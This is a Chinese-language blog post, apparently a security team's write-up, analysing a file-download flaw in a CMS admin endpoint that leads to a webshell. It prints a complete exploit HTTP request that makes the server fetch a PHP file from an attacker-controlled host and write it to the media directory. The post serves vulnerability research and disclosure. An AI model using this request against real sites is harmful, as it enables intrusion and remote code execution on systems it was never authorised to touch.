记一次文件下载getshell白盒

admin 2023年1月15日16:47:29安全文章评论12 views2083字阅读6分56秒阅读模式

前言

2023年了,敬业的人还在上班,首先祝大家新年快乐,期待新的一年有新的成长~

闲来无事,逛逛代码仓库,扫一扫,看到某CMS里面这么一个方法,里面的内容很简单,可以说是目测存在getshell漏洞但是实际上踩坑无数,弄了很久,因为分析的时候有意思,利用的也有点意思,所以分享出来

代码分析

1、首先查看漏洞点,downpic方法获取了一个参数$url,未进行过滤,获取URL文件内容后进行文件写入。其中写入后的文件后缀即为传入的URL中的文件后缀。

记一次文件下载getshell白盒

2、搜索发现/admin/ajax.php存在4处位置调用了此方法

记一次文件下载getshell白盒

3、通过几次筛选,最后确定入口点为collection_all

第一个if判断,需要id搜索到有东西,经测试网站默认安装便有一条数据,所以id赋值为1即可

记一次文件下载getshell白盒

4、往下执行,发现这里远程加载的文件内容需要有$C_titlestart和$C_contentstart

记一次文件下载getshell白盒

构造文件内容第一行

记一次文件下载getshell白盒

5、再往下,进入下一个if判断,条件为sql语句执行结果小于等于0

记一次文件下载getshell白盒

构造文件内容第二行中的一串随机字符

记一次文件下载getshell白盒

6、下一个条件分支,需要文件内容中含有src=",直接复制了那行代码到文件中

记一次文件下载getshell白盒

记一次文件下载getshell白盒

7、后面循环无影响,到$picx的赋值,因最后拼接的路径为src="后的字符,故将index.php放到文件的最后面,然后调用了downpic方法

记一次文件下载getshell白盒

记一次文件下载getshell白盒

8、查看downpic方法。传入URL,生成以时间戳+随机字符的文件名,获取远程文件内容,写入文件。

记一次文件下载getshell白盒

漏洞利用

1、构造恶意请求,向外请求index.php

记一次文件下载getshell白盒

GET /admin/ajax.php?type=collection&action=all&id=1&lang=0&pageurl=http://10.211.55.2:21/index.php HTTP/1.1Host: 10.211.55.3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://10.211.55.3Connection: closeReferer: http://10.211.55.3/admin/Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=e317896f881c24dd527ea70a654d0a00; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=ftd1rm1hffcfvdh2d3l9hkmln1; __vtins__JdquY3gNURaKiAFU=%7B%22sid%22%3A%20%222f9206ee-11da-59be-af05-5ce77d606c29%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201657185361904%2C%20%22ct%22%3A%201657183561904%7D; __51uvsct__JdquY3gNURaKiAFU=2; __51vcke__JdquY3gNURaKiAFU=8c5f5b50-675a-576d-a410-a4ba399a8cde; __51vuft__JdquY3gNURaKiAFU=1657173569846; LOGIN_LANG=cnContent-Length: 2

2、返回成功即可在media目录下看到文件已经成功上传,内容为index.php文件内容

记一次文件下载getshell白盒

攻击者则可以通过网站安全-文件管理功能查看具体文件名

记一次文件下载getshell白盒

3、访问该文件,获取webshell

记一次文件下载getshell白盒

记一次文件下载getshell白盒

总结

这个漏洞我好像分析了2个小时吧,主要是构造payload方面花了心思,一开始没想看很多代码,直接利用发现失败了,调试了几次终于可以利用,总的来说,利用条件苛刻,可利用性不高,聊胜于无。

题外话:最近新开了个知识星球,期待大家关注。本来是打算放项目上的干货的,但是最近迷上了反序列化和内存马,所以可能会有一段时间都是这类内容。当然干货也会不定时更新,主要分享实战方面的细节。。。

记一次文件下载getshell白盒

欢迎关注

原文始发于微信公众号(广软NSDA安全团队):记一次文件下载getshell白盒

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月15日16:47:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  记一次文件下载getshell白盒 http://cn-sec.com/archives/1518405.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: